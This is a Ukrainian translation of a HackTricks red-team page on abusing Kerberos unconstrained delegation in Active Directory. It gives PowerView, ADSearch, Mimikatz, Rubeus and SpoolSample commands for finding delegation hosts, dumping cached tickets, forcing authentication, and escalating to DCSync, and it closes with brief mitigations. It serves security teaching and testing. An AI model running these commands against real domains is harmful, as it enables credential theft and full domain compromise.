Unconstrained Delegation

Reading time: 4 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Unconstrained delegation

Це функція, яку адміністратор домену може встановити для будь-якого комп'ютера в домені. Тоді, щоразу, коли користувач входить на комп'ютер, копія TGT цього користувача буде надіслана всередині TGS, наданого DC і збережена в пам'яті в LSASS. Отже, якщо у вас є привілеї адміністратора на машині, ви зможете вивантажити квитки та видавати себе за користувачів на будь-якій машині.

Отже, якщо адміністратор домену входить на комп'ютер з активованою функцією "Unconstrained Delegation", і у вас є локальні адміністративні привілеї на цій машині, ви зможете вивантажити квиток і видавати себе за адміністратора домену будь-де (підвищення привілеїв домену).

Ви можете знайти об'єкти комп'ютерів з цим атрибутом, перевіряючи, чи атрибут userAccountControl містить ADS_UF_TRUSTED_FOR_DELEGATION. Ви можете зробити це за допомогою LDAP-фільтра ‘(userAccountControl:1.2.840.113556.1.4.803:=524288)’, що робить powerview:

bash
# List unconstrained computers
## Powerview
## A DCs always appear and might be useful to attack a DC from another compromised DC from a different domain (coercing the other DC to authenticate to it)
Get-DomainComputer –Unconstrained –Properties name
Get-DomainUser -LdapFilter '(userAccountControl:1.2.840.113556.1.4.803:=524288)'

## ADSearch
ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname,operatingsystem

# Export tickets with Mimikatz
## Access LSASS memory
privilege::debug
sekurlsa::tickets /export #Recommended way
kerberos::list /export #Another way

# Monitor logins and export new tickets
## Doens't access LSASS memory directly, but uses Windows APIs
Rubeus.exe dump
Rubeus.exe monitor /interval:10 [/filteruser:<username>] #Check every 10s for new TGTs

Завантажте квиток адміністратора (або користувача-жертви) в пам'ять за допомогою Mimikatz або Rubeus для Pass the Ticket.
Більше інформації: https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/
Більше інформації про неконтрольовану делегацію на ired.team.

Примусова аутентифікація

Якщо зловмисник зможе зламати комп'ютер, дозволений для "Неконтрольованої делегації", він може обманути сервер друку, щоб автоматично увійти на нього, зберігаючи TGT в пам'яті сервера.
Тоді зловмисник зможе виконати атаку Pass the Ticket, щоб видавати себе за обліковий запис комп'ютера сервера друку.

Щоб змусити сервер друку увійти на будь-яку машину, ви можете використовувати SpoolSample:

bash
.\SpoolSample.exe <printmachine> <unconstrinedmachine>

Якщо TGT отримано від контролера домену, ви можете виконати DCSync attack і отримати всі хеші з DC.
Більше інформації про цю атаку на ired.team.

Знайдіть тут інші способи примусити аутентифікацію:

Force NTLM Privileged Authentication

Зменшення ризиків

  • Обмежте входи DA/Admin до конкретних служб
  • Встановіть "Обліковий запис є чутливим і не може бути делегований" для привілейованих облікових записів.

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks